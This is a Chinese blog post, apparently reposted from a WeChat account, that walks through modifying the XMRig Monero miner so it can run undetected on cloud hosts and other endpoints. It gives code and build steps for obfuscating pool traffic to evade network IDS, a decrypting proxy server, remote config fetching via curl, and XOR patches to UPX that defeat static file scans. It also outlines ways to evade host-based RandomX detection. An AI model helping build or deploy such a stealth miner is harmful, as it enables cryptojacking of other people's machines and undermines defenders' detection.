[AOH 027]魔改xmrig-规避网络与主机层检查

admin 2024年2月15日19:09:10评论19 views字数 6134阅读20分26秒阅读模式

一、前言

本文是基于矿工程序xmrig的改造工程,出发点在于部署矿工程序被检测发现的程度很高,原因在于使用官方版本会有明显的协议特征,文件特征等。

为了规避上述特征,实现在云上环境或者其他终端部署程序而不被发现,实现下述改造:

  1. 流量层加密混淆

  2. 去除文件静态特征

  3. 去除程序运行态特征

  4. 控制程序运行时资源消耗

PS:主打一手安全

二、效果展示

[AOH 027]魔改xmrig-规避网络与主机层检查

[AOH 027]魔改xmrig-规避网络与主机层检查

三、构思方案

首先思考是否需要基于xmrig的基线版本,在此之前我提取了RandomX函数,并用python实现了矿池协议与monero的挖掘,但测试发现仅有xmrig算力的十分之一,效率非常低

接下来找了一些高性能的语言,例如rust,golang等相关的开源项目,很遗憾的是,官方的xmrig相比于他们而言,在跨平台兼容性和高性能运算上是当之无愧的第一名。、我想这个项目也是积累了一堆大佬的工作成果的,若是想基于算法再单独自行实现一整套程序下想要达到xmrig的性能,就我这水平,难于登天。

那么,在基于xmrig的基础上,避免裸奔,达成上述规避的方案,思路如下:

  1. 流量层 pass NIDS

    1. 方案1:完全去掉原有逻辑,使用自己的代码逻辑实现登录,任务获取,任务上传

    2. 方案2:搭配代理程序,需要额外拉起一个进程实现网络打通和流量封装 (由于xmrig原始支持的socks5代理实际是不加密的,所以需要在本地额外起一个端口,然后xmrig流量打到本地端口,端口再用加密协议传输出去)

    3. 方案3:在原有逻辑上改造stratum协议实现的最终收发动作对应的函数

  2. 静态特征 pass StaticFileScan

    1. 方案1:魔改upx,改造upx入口特征,混淆upx压缩后数据,再使用魔改的upx打包程序(当前仅支持linux amd64,windows可以使用其他的壳方案)

  3. 运行态特征 pass HIDS

    1. 方案1:看到参考章节贴出的链接,有作者可以使用bpftrace可以检测RandomX算法,那么相应的对抗方式是在CPU运算操作中加入等效运算符,如异或,加减等,不确定一定有效,但至少使得执行流程与标准流程形成了差异

通过上述头脑风暴,接下来主要是需要筛选流量层bypass的方案。

由于精力有限,需要低成本开发,而且要保留官方版本的跨平台,高性能运算的特点,展开分析流量层的三种方案。

1. 流量层-方案1

实现路径:

去掉xmrig的全部网络动作

将获取任务改成从文件/内存获取

将输出结果改成输出到文件/内存

编写客户端程序控制任务的获取和结果的传送

编写服务端从矿池拉取任务和下发任务到客户端,从客户端拉取结果上传到客户端,负载任务等

优点:

  • xmrig不再具备网络动作的可能,所有的输入输出均在本机范围内,只做运算动作

  • 服务端可以很好的负载各个xmrig矿工的任务,可以跟踪每个任务完成的情况

  • 服务端和客户端的通信和网络行为高度可控,想怎么实现都行

缺点:

  • 改动多,开发成本高

2. 流量层-方案2

实现路径:

运行主流的网络打通程序,例如frp,v2ray等等,在本地启一个代理口

xmrig的流量打到本地端口,由代理程序发送网络流量出去

优点:

  • 较多开源代理程序可选,技术较为成熟

  • 基本没有额外开发工作

缺点:

  • 主流开源的代理程序特征被挖掘的较多,容易检出

  • 需要额外部署和启动一个程序,或者考虑编译到一个程序内(这样又增加了工作量)

3. 流量层-方案3

实现路径:

分析xmrig实现协议的最后函数

在收发函数的数据层直接做加解密,混淆运算等

优点:

  • 开发成本低

  • 流量特征可控,规避检测

缺点:

  • 需要一定的代码开发

  • 需要开发适配的服务端

最终方案3,深得我心,开始动手!

四、代码开发

仅分享思路 ;整个改造不新增任何第三方库!

1. 部署开发环境

先拉取下官方代码:

#xmrig-6.20.0
git clone https://github.com/xmrig/xmrig.git
#重命名为myxmrig
cd myxmrig
mkdir build_linux
mkdir build_win
mkdir win_dep
下载https://github.com/xmrig/xmrig-deps/releases解压后放到win_dep目录
 
#upx-4.2.1
git clone https://github.com/upx/upx.git
#重命名为myupx
cd myupx
git submodule update --init
mkdir build_linux
mkdir build_win

选择使用VisualStudio2019,有GUI界面开发起来还是比较舒服,cmake生成sln后,双击进入项目,按照图示,选择xmrig右键进行NewInstanced的Debug开发,边调边改,效率拉满:

[AOH 027]魔改xmrig-规避网络与主机层检查

2.去掉官方的默认捐赠功能

将myxmrigsrcdonate.h 改成 donate.h_bak

在myxmrigsrcbasenetstratumPools.cpp下

// 修改1:  注释掉donate.h 
// 修改2:定义捐赠额度变量为0

3.流量层加密-client

通过抓包可以看到,有如下流量:

miner->server:
{"jsonrpc":"2.0","method":"job","params":{"blob":"1010bxxx","job_id":"4","target":"c6100000","algo":"rx/0","height":3009232,"seed_hash":"c98exxx"}}
server->miner:
b'{"id":1,"jsonrpc":"2.0","result":{"id":"e6199624","job":{"blob":"1010bxxx","job_id":"1","target":"31040000","algo":"rx/0","height":3009122,"seed_hash":"c98exxx"},"extensions":["algo"],"status":"OK"}}n'

在myxmrigsrcbasenetstratumClient.cpp,做如下改造:

// 修改1: 定义map和反map 
// 修改2:使用c_en_mapping进行正向混淆
// 修改3:1==1 不启用send混淆,1==2 启动混淆
// 修改4:进行数据解密

4.流量层加密-proxyserver

python实现一个proxyclass:

#监听端口,等待客户端请求 
#判断数据是否来自真实客户端,否则drop
#建立客户端连接后,和矿池服务端建立
#获取客户端数据,解密传输给矿池 #获取矿池数据,加密传输给客户端

5.剔除从文件加载配置逻辑,从server端动态加载配置,实现矿池接入和CPU资源l可控

> 吐槽下:这部分的坑点较多~

myxmrigsrcbaseiojsonJsonChain.cpp 
//修改1:使用http从server拉取配置str,并解密
//修改2:从解密后的str加载成rapidjson
//修改3:强制return,不再执行其他读取配置逻辑,由于有return了,也不需要注释代码了

这个项目最困难的就是调用http请求拉取配置,因为项目使用的是libuv这个异步库,这个库非常牛逼,nodejs的底层也是用这个库。

通过读代码,了解了官方怎么用的,然后去改造JsonChain,插入http请求的动作:

# 1. 类要先继承ILineListener的公共方法
class JsonChain : public BaseClient, public IDnsListener, public ILineListener
 
# 2. 在类的protected下申明
void onHttpData(const HttpData& data) override;
 
# 3. 在类的private下申明
std::shared_ptr<IHttpListener> m_httpListener;
 
# 4. 在类构造中需要实例化下监听器:
xmrig:: JsonChain::JsonChain ()
{
    m_httpListener = std::make_shared<HttpListener>(this);
}
 
# 5. 在类定义出onHttpData具体实现
void xmrig::JsonChain::onHttpData(const HttpData& data)
{
    LOG_ERR("%s", data.status);
}
 
# 6.myxmrigsrcbasenethttpFetch.h定义新的Fetch操作
public:
    FetchRequest(const rapidjson::Value& value);
 
# 7. 在myxmrigsrcbasenethttpFetch.cpp实现
xmrig::FetchRequest::FetchRequest(const rapidjson::Value& value) :
    method(HTTP_GET),
    host("127.0.0.1"),
    path("/123"),
    port(33334)
{
    assert(port > 0);
    setBody(value);
}
 
# 8. 在类下调用Fetch操作
enum llhttp_method method = HTTP_GET;
static const char* tag = GREEN_BG_BOLD(WHITE_BOLD_S " bench   ");
rapidjson::Document doc;
FetchRequest req(doc);
fetch(tag, std::move(req), m_httpListener);

但是,很奇怪的是确实是有fetch发起网络请求的行为,但是注册的httpListener打断点,始终不被执行!一度自闭ing,问chatgpt,问github找了libuv下http客户端的实现,准备自己完整的定义出来,发现都有些问题,疯狂调bug中。

导致预期2天的改造工作,硬是这个问题卡了很久,后面冷静了下来,把上述的逻辑定义到xmrig的Client类下, 一模一样的代码,但是Client类的httpListener就被断下来了

看了下两者走到fetch时的函数堆栈,Client的父函数注册了 uv_run(uv_default_loop(), UV_RUN_DEFAULT);

那么,这个问题的原因在于JsonChain是在读取配置的阶段被调用,即在异步初始化之前,此时注册的异步监听器是不会被执行的。

解决方案:

方案1:完整实现一套异步注册关闭的全流程

方案2:写一个默认配置,在初始化之后,执行到Client类再去远程加载配置,再调用重载函数重载配置

可能会有人说,使用libcurl库,或者其他socket库不很容易实现嘛~,但是这次改造的初衷就是不引入任一新库,完全使用官方已有依赖。

上面两个方案都很好,但是真的写不动了,于是这儿用了一个最笨的方法,先应付着用,在较高版本的win和linux都自带有curl,那么直接调用curl从服务器拉配置,拉不到就睡眠3秒,拉到退出循环:

std::this_thread::sleep_for(std::chrono::seconds(3));
std::string command = "curl " + url;
std::string result;
#ifdef _WIN32
    FILE* pipe = _popen(command.c_str(), "r");
#else
    FILE* pipe = popen(command.c_str(), "r");
#endif

先这么来吧,后面libuv吃透了再升级~

6.改造RandomX函数

pass

7.upx魔改: 修改入口点字段

myupx/src/p_unix.cpp 
//修改1: 异或一个常量0xdeafdeaf

myupx/src/stub/src/amd64-linux.elf-fold.S
//修改1: 添加汇编代码xor $3736067759,%eax

8.upx魔改: 修改压缩数据

myupx/src/compress.cpp 
//修改1: upx_compress函数中添加异或处理

myupx/src/p_lx_elf.cpp
//修改1: 对loader数据多进行一次处理,抵消异或

myupx/src/stub/src/amd64-linux.elf-main.c
//修改1: 保证执行时程序逻辑不变,对解压后的数据进行逆处理

五、编译发布

Linux

#myupx - amd64会兼容86和64的,优先选择
cd build_linux
cmake ..
make -j$(nproc)
 
#myxmrig
sudo apt-get install git build-essential cmake automake libtool autoconf
cd scripts
bash build_deps.sh
cd ../build_linux
cmake .. -DXMRIG_DEPS=scripts/deps
make -j$(nproc)

Win

#myupx
cd build_win
cmake .. -G "Visual Studio 16 2019" -A x64
通过cmake --build . --config Release或者双击sln进项目内编译(注意去除掉编译器自带的一些敏感信息!)
 
#myxmrig
cd build_win
cmake .. -G "Visual Studio 16 2019" -A x64 -DXMRIG_DEPS=../win_dep
通过cmake --build . --config Release或者双击sln进项目内编译(注意去除掉编译器自带的一些敏感信息!)

最后将编译出来的魔改的upx打包一下魔改的xmrig,就可以享受开挖的快乐了~

六、参考:

  • https://zhuanlan.zhihu.com/p/571589377 矿工协议介绍

  • https://www.jianshu.com/p/797401d8a80e 矿工协议介绍

  • https://blog.px.dev/detect-monero-miners/ bpftrace检测xmr算法

  • https://www.azurew.com/life/%E6%8C%96%E7%9F%BF/7650.html  控制CPU使用

  • https://www.yuque.com/maoxianren/rc9oot/ndovyt  控制CPU使用

  • https://bbs.kanxue.com/thread-275753.htm UPX改造

  • https://www.codeconvert.ai/python-to-c++-converter 语言互转

  • https://xmrig.com/docs/miner/build XMR官方编译指导

  • https://mp.weixin.qq.com/s/6C0mlce9L7z2BmgPIovntg 取消XMR捐赠的方法

  • https://www.cnblogs.com/tothk/p/15860354.html 一些架构知识

原文始发于微信公众号(Art Of Hunting):[AOH 027]魔改xmrig-规避网络与主机层检查

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:09:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [AOH 027]魔改xmrig-规避网络与主机层检查http://cn-sec.com/archives/2178997.html

发表评论

匿名网友 填写信息